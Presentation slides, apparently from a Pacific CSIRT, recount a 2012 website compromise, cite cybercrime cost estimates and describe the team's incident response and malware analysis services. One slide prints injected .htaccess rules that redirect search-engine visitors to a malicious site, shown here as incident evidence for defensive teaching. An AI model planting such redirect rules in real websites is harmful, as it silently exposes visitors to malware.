Cyber-Security in the Pacific

The Pacific CSIRT
Organization X

• Large regional Pacific Organization with excellent resources and staffing.
• Online services, staff email and public website.
• On June 13 2012, Organization X was hacked.
The Nature of the Attack

- **June 13 2012: 00.04AM**: Org.X. webmaster received an email from Google alerting him that the Org.X. Website has been blacklisted by Google. Some web browsers (Firefox/Chrome) would prompt with a warning that the site is unsafe to surf when attempting to access the site.
The investigation

• The Pacific Computer Emergency Response team was called in to assist.

• Here’s what was happening:

```
RewriteCond %{HTTP_REFERER} .google. [OR]
RewriteCond %{HTTP_REFERER} .ask. [OR]
RewriteCond %{HTTP_REFERER} .yahoo. [OR]
RewriteCond %{HTTP_REFERER} .baidu. [OR]
RewriteCond %{HTTP_REFERER} .youtube. [OR]
RewriteCond %{HTTP_REFERER} .wikipedia. [OR]
...
RewriteCond %{HTTP_REFERER} .msn. [OR]
......
RewriteRule ^(.*)$ http://some-maliciousSite.com/yyy.php [R=301,L]
```
The Victims

• June 12, 2012 20:08 - The first victim that visited Org.X. website was redirected to the Russian malicious web site.

• Users from 205 different IP addresses had visited the Org.X. website and got redirected to the Russian malicious website.
The Global Cost of Cybercrime

$97M Fake Anti-Virus

$10M Stranded Traveler Scam

$200M Fake Escrow

$1B Advanced Fee Fraud

$370M Online Banking Fraud

$3.4B Anti-Virus

$1B Bank countermeasures

$320M Phishing

$1B Patching Vulnerabilities

$10B Cleanup

How Much is your organization spending on security this year?

Source: “Measuring the Cost of Cybercrime,” by Ross Anderson, University of Cambridge; Chris Barton, Cloudmark; Rainer Böhme, University of Münster; Richard Clayton, University of Cambridge; Michel J.G. van Eeten, Delft University of Technology; Michael Levi, Cardiff University; Tyler Moore, Southern Methodist University; and Stefan Savage, University of California, San
PACCERT’s New Core Services

- Incident Response and Handling Service
  - Receive Incident reports from inside and outside our constituency, and coordinate to handle the incidents
  - Sharing and exchanging incident related information with internal and external parties
  - Notifying incidents to relevant organizations
  - Take down malware distribution sites
  - Take down phishing sites
  - Notify the admins of defaced websites
  - others

- Malware Analysis Service
  - Understanding the infection vector and attack vector of malicious artifacts with the objective of designing and implementing effective defense strategies.
Incident Response and Handling Service - Types

• Offsite or Remote Response
  • PACCERT Staff will respond to incident reports and provide assistance to stakeholders via telephone or email support. PACCERT staff will typically not have access to any of the target systems but will relay ‘suggestions’ to the onsite admins.

• Onsite Response  NOT YET IMPLEMENTED
  • PACCERT staff will respond to incident reports and provide assistance to stakeholders in person at the site. PACCERT staff may be granted temporary administrator status in the target systems to facilitate investigation, containment and eradication if necessary.
Malware Analysis

• “The goal of MA is to determine how a specific piece of malware functions, so that defenses can be built...” – SANS

• **Malware Analysis seeks to answer 2 Questions:**
  1. How did this machine get infected?
  2. What does this malware do?

• **Incident Response and Malware Analysis Service are available to all PacCERT constituents.**
Target Beneficiaries

- Government IT departments
- TelCo and ISPs
- Financial Service Providers
- Essential Service providers
- Non-Government organizations
- Large Organizations
- SMBs
- Others as may be decided on a case by case basis

Geographically Bounded
Thank You